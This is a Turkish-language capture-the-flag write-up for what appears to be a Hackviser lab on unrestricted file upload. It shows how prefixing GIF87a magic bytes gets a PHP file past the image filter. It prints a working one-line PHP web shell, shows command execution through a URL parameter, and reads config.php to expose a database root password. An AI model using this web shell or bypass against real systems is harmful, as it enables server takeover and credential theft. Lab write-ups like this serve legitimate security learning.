

# Unrestricted File Upload/ File Signature Filter Bypass

Öncelikle steye gittiümüzde bizi aşağıdaki gibi bir dosya yükleme ekranı karşılıyor.

## File Manager

Delete uploads

Allowed formats: gif, jpg, jpeg, png

Upload a image.

Choose File:

Choose File

No file chosen

Upload

Buraya çeşitli denemeler yaptıktan sonra başarılı bir sonuca ulaşamıyorum.

Aklıma soru da ipucu olarak da verilen magic bytes geliyor. Ve bunun için internette araştırma yapmaya başlıyorum.

<https://medium.com/@wakedxy/bypassing-file-upload-restriction-using-magic-bytes-ae59fb5bb383>

Araştırma yaparken bu yazıya denk geliyorum.

Burada GIF87a kullanarak bypass yapabileceğimi görüyorum.

```
(kali㉿kali)-[~/Desktop]
$ cat shell1zero.php
GIF87a
<?php system($_GET['cmd']); ?>
```

Aşağıdaki gibi bir payload hazırlayarak bunu göndermeyi deniyorum.

# File Manager

Delete uploads

Allowed formats: gif, jpg, jpeg, png

Upload a image.

File uploaded successfully!

File path: [uploads/shell1zero.php](#)

Choose File:

Choose File

No file chosen

Upload

Ve başarılı bir şekilde dosyayı yükleyebildik.

# File Manager

Delete uploads

Allowed formats: gif, jpg, jpeg, png

Upload a image.

File uploaded successfully!

File path: [uploads/shell1zero.php](#)

Choose File:

Choose File

No file chosen

Upload

Sırada ise test etme kısmı var.

← → ↻ 📄 <https://helping-mister-freeze.europe1.hackviser.space/uploads/shell1zero.php?cmd=ls>

GIF87a shell1zero.php

Ve başarılı bir şekilde çalıştı.

```
← → ↻ 🔒 https://helping-mister-freeze.europe1.hackviser.space/uploads/shell1zero.php?cmd=ls%20../
GIF87a assets config.php delete.php index.php uploads
```

bu şekilde config.php dosyasını da bulduk.

Sırada ise içeriğini okumak var tahmin edeceğiniz gibi cat yine çalışmıyor bizde more komutunu kullanıyoruz.

```
← → ↻ 🔒 https://helping-mister-freeze.europe1.hackviser.space/uploads/shell1zero.php?cmd=more%20../config.php
GIF87a ::::::::::: ../config.php :::::::::::
```

Sırada ise tekrardan kaynak koduna bakmak var.

```
← → ↻ 🔒 view-source:https://helping-mister-freeze.europe1.hackviser.space/uploads/shell1zero.php?cmd=more%20../config.php
line wrap
1 GIF87a
2 :::::::::::
3 ../config.php
4 :::::::::::
5 <?php
6     try{
7         $host = 'localhost';
8         $db_name = 'hv_database';
9         $charset = 'utf8';
10        $username = 'root';
11        $password = '2xEsbdzvegfaHykF';
12
13        $db = new PDO("mysql:host=$host;dbname=$db_name;charset=$charset",$username,$password);
14    } catch(PDOException $e){
15
16    }
17 ?>
18
```

Ve bu soruyu da böylece çözmüş olduk.

Umarım bu yazıyı sıkılmadan okumuşsunuzdur. Keyifli çalışmalar.